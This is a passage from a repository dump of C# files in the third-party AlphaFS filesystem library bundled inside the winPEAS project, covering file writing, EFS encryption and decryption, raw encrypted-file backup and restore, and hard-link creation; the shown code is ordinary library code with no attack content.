System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Creates/appends a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"isAppend\"><c>true</c> for file Append, <c>false</c> for file Write.</param>\n      /// <param name=\"addNewLine\"><c>true</c> to add a line terminator, <c>false</c> to ommit the line terminator.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2202:Do not dispose objects multiple times\", Justification = \"Disposing is controlled.\")]\n      [SecurityCritical]\n      internal static void WriteAppendAllLinesCore(KernelTransaction transaction, string path, IEnumerable<string> contents, Encoding encoding, bool isAppend, bool addNewLine, PathFormat pathFormat)\n      {\n         if (null == contents)\n            throw new ArgumentNullException(\"contents\");\n\n         if (null == encoding)\n            throw new ArgumentNullException(\"encoding\");\n\n\n         using (var stream = OpenCore(transaction, path, isAppend ? FileMode.OpenOrCreate : FileMode.Create, FileSystemRights.AppendData, FileShare.ReadWrite, ExtendedFileAttributes.Normal, null, null, pathFormat))\n         {\n            if (isAppend)\n               stream.Seek(0, SeekOrigin.End);\n\n            using (var writer = new StreamWriter(stream, encoding))\n            {\n               if (addNewLine)\n                  foreach (var line in contents)\n                     writer.WriteLine(line);\n\n               else\n                  foreach (var line in contents)\n                     writer.Write(line);\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.Decrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Decrypts a file that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A path that describes a file to decrypt.</param>\n      [SecurityCritical]\n      public static void Decrypt(string path)\n      {\n         EncryptDecryptFileCore(false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a file that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A path that describes a file to decrypt.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decrypt(string path, PathFormat pathFormat)\n      {\n         EncryptDecryptFileCore(false, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.Encrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Encrypts a file so that only the account used to encrypt the file can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A path that describes a file to encrypt.</param>\n      [SecurityCritical]\n      public static void Encrypt(string path)\n      {\n         EncryptDecryptFileCore(false, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Encrypts a file so that only the account used to encrypt the file can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A path that describes a file to encrypt.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void Encrypt(string path, PathFormat pathFormat)\n      {\n         EncryptDecryptFileCore(false, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.ExportEncryptedFileRaw.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      /// intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///      The file being backed up is not decrypted; it is backed up in its encrypted state.\n      ///   </para>\n      ///   <para>\n      ///      If the caller does not have access to the key for the file, the caller needs\n      ///      <see cref=\"Security.Privilege.Backup\"/> to export encrypted files. See\n      ///      <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///      To backup an encrypted file call one of the\n      ///      <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/> overloads and specify the file to backup\n      ///      along with the destination stream of the backup data.\n      ///   </para>\n      ///   <para>\n      ///      This function is intended for the backup of only encrypted files; see <see cref=\"BackupFileStream\"/> for backup\n      ///      of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"fileName\">The name of the file to be backed up.</param>\n      /// <param name=\"outputStream\">The destination stream to which the backup data will be written.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>      \n      public static void ExportEncryptedFileRaw(string fileName, Stream outputStream)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///      The file being backed up is not decrypted; it is backed up in its encrypted state.\n      ///   </para>\n      ///   <para>\n      ///      If the caller does not have access to the key for the file, the caller needs\n      ///      <see cref=\"Security.Privilege.Backup\"/> to export encrypted files. See\n      ///      <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///      To backup an encrypted file call one of the\n      ///      <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/> overloads and specify the file to backup\n      ///      along with the destination stream of the backup data.\n      ///   </para>\n      ///   <para>\n      ///      This function is intended for the backup of only encrypted files; see <see cref=\"BackupFileStream\"/> for backup\n      ///      of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"fileName\">The name of the file to be backed up.</param>\n      /// <param name=\"outputStream\">The destination stream to which the backup data will be written.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"fileName\"/> parameter.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      public static void ExportEncryptedFileRaw(string fileName, Stream outputStream, PathFormat pathFormat)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.GetEncryptionStatus.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves the encryption status of the specified file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <returns>The <see cref=\"FileEncryptionStatus\"/> of the specified <paramref name=\"path\"/>.</returns>      \n      [SecurityCritical]\n      public static FileEncryptionStatus GetEncryptionStatus(string path)\n      {\n         return GetEncryptionStatusCore(path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the encryption status of the specified file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The <see cref=\"FileEncryptionStatus\"/> of the specified <paramref name=\"path\"/>.</returns>      \n      [SecurityCritical]\n      public static FileEncryptionStatus GetEncryptionStatus(string path, PathFormat pathFormat)\n      {\n         return GetEncryptionStatusCore(path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.ImportEncryptedFileRaw.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///     If the caller does not have access to the key for the file, the caller needs\n      ///     <see cref=\"Security.Privilege.Backup\"/> to restore encrypted files. See\n      ///     <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///     To restore an encrypted file call one of the\n      ///     <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/> overloads and specify the file to restore\n      ///     along with the destination stream of the restored data.\n      ///   </para>\n      ///   <para>\n      ///     This function is intended for the restoration of only encrypted files; see <see cref=\"BackupFileStream\"/> for\n      ///     backup of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationFilePath\">The path of the destination file to restore to.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///     If the caller does not have access to the key for the file, the caller needs\n      ///     <see cref=\"Security.Privilege.Backup\"/> to restore encrypted files. See\n      ///     <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///     To restore an encrypted file call one of the\n      ///     <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/> overloads and specify the file to restore\n      ///     along with the destination stream of the restored data.\n      ///   </para>\n      ///   <para>\n      ///     This function is intended for the restoration of only encrypted files; see <see cref=\"BackupFileStream\"/> for\n      ///     backup of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationFilePath\">The path of the destination file to restore to.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"destinationFilePath\"/> parameter.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, PathFormat pathFormat)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///     If the caller does not have access to the key for the file, the caller needs\n      ///     <see cref=\"Security.Privilege.Backup\"/> to restore encrypted files. See\n      ///     <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///     To restore an encrypted file call one of the\n      ///     <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/> overloads and specify the file to restore\n      ///     along with the destination stream of the restored data.\n      ///   </para>\n      ///   <para>\n      ///     This function is intended for the restoration of only encrypted files; see <see cref=\"BackupFileStream\"/> for\n      ///     backup of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationFilePath\">The path of the destination file to restore to.</param>\n      /// <param name=\"overwriteHidden\">If set to <c>true</c> a hidden file will be overwritten on import.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, bool overwriteHidden)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, overwriteHidden, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <remarks>\n      ///   <para>\n      ///     If the caller does not have access to the key for the file, the caller needs\n      ///     <see cref=\"Security.Privilege.Backup\"/> to restore encrypted files. See\n      ///     <see cref=\"Security.PrivilegeEnabler\"/>.\n      ///   </para>\n      ///   <para>\n      ///     To restore an encrypted file call one of the\n      ///     <see cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/> overloads and specify the file to restore\n      ///     along with the destination stream of the restored data.\n      ///   </para>\n      ///   <para>\n      ///     This function is intended for the restoration of only encrypted files; see <see cref=\"BackupFileStream\"/> for\n      ///     backup of unencrypted files.\n      ///   </para>\n      /// </remarks>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationFilePath\">The path of the destination file to restore to.</param>\n      /// <param name=\"overwriteHidden\">If set to <c>true</c> a hidden file will be overwritten on import.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"destinationFilePath\"/> parameter.</param>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, bool overwriteHidden, PathFormat pathFormat)\n      {\n         ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, overwriteHidden, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateHardLink.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>      \n      [Obsolete(\"Use CreateHardLink method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      [SecurityCritical]\n      public static void CreateHardlink(string fileName, string existingFileName)\n      {\n         CreateHardLinkCore(null, fileName, existingFileName, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [Obsolete(\"Use CreateHardLink method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      [SecurityCritical]\n      public static void CreateHardlink(string fileName, string existingFileName, PathFormat pathFormat)\n      {\n         CreateHardLinkCore(null, fileName, existingFileName, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>      \n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static void CreateHardLink(string fileName, string existingFileName)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         CreateHardLinkCore(null, fileName, existingFileName, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static void CreateHardLink(string fileName, string existingFileName, PathFormat pathFormat)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         CreateHardLinkCore(null, fileName, existingFileName, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateHardLinkTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>      \n      [Obsolete(\"Use CreateHardLinkTransacted method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      [SecurityCritical]\n      public static void CreateHardlinkTransacted(KernelTransaction transaction, string fileName, string existingFileName)\n      {\n         CreateHardLinkCore(transaction, fileName, existingFileName, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [Obsolete(\"Use CreateHardLinkTransacted method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      [SecurityCritical]\n      public static void CreateHardlinkTransacted(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat)\n      {\n         CreateHardLinkCore(transaction, fileName, existingFileName, pathFormat);\n      }\n\n      #endregion // 